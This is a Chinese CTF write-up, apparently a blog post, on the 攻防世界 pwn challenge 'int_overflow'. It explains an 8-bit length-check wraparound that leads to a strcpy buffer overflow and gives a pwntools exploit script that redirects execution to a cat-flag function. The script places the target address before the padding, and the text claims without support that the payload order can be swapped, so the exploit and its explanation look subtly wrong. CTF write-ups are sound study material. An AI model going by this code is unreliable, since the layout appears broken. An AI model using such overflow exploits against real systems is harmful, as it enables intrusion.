攻防世界_pwn int_overflow(萌新版)

本文详细解析了攻防世界平台上的INT Overflow题目,通过分析反汇编代码,理解buf与dest长度差异导致的溢出现象。文章分享了如何利用特定长度的payload触发溢出,实现对al寄存器的数值控制,最终调用catflag函数获取flag。同时,提供了完整的Python脚本示例,展示了如何设置payload长度和位置,以及如何与目标程序交互。

0x00 前言

重刷攻防世界,本人纯萌新,在本次刷题过程中,不能再想之前那样,做过就忘,我打算将我的思路尽可能的写成文章发在网站。

0x10 步骤

file与checksec步骤已省略

根据反汇编的意思,便可以知道buf的长度比dest的长度长,所以在strcpy的时候会发生溢出现象。

而如果我们的s的长度在3和8之间,那么我们便无法使得strcpy处发生溢出,而根据下图可知,v3也就是s的长度,是存放在al寄存器中的,al是一个8位寄存器,无符号数最多可以存放的数据范围是0-255,则当我们输入的数位255+(4-7)之内的时候,会因为溢出的原因而使得al中的数值依然位(4-7)中的一个数,所以我们便可以在payload中构造其长度为255+(4-7)中的任意一个数,而shellcode应该在返回地址处,所以应该使其进行左对齐。

上图中第一个箭头指向的应是call指令,对应strlen函数,我参考的是百度知道,另外根据下文 [ebp+var_9]与3和8进行比较也可以知道是al存放的s的长度。

从ida中也可以知道有cat flag函数,所以我们需要将cat flag所在函数的地址进行打包,文件为32位elf则打包成p32,这步不懂的可以去看我的pwn流程。

则exp如下:

from pwn import *
sh = process("./intoverflow")
flag_addr = 0x0804868B
sh.recvuntil("Your choice:")
sh.sendline("1")
sh.recvuntil("username:")
sh.sendline("asass")
sh.recvuntil("passwd:")
payload = p32(flag_addr)+"a"*0x18
payload = payload.ljust(259,"a")
sh.sendline(payload)
sh.recv()
sh.interactive()

0x 20 关于exp

0x21

对于sh.recvuntil,这里不建议加上换行符\n,尽管题目中有换行符的出现,尽量还是不要加,我加了没打通,如果是因为换行符的问题,建议多试几次。另外recvuntil不必接收完全部一句话,可以只写后半部分。

0x22

payload内容的位置好像是可以换的。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值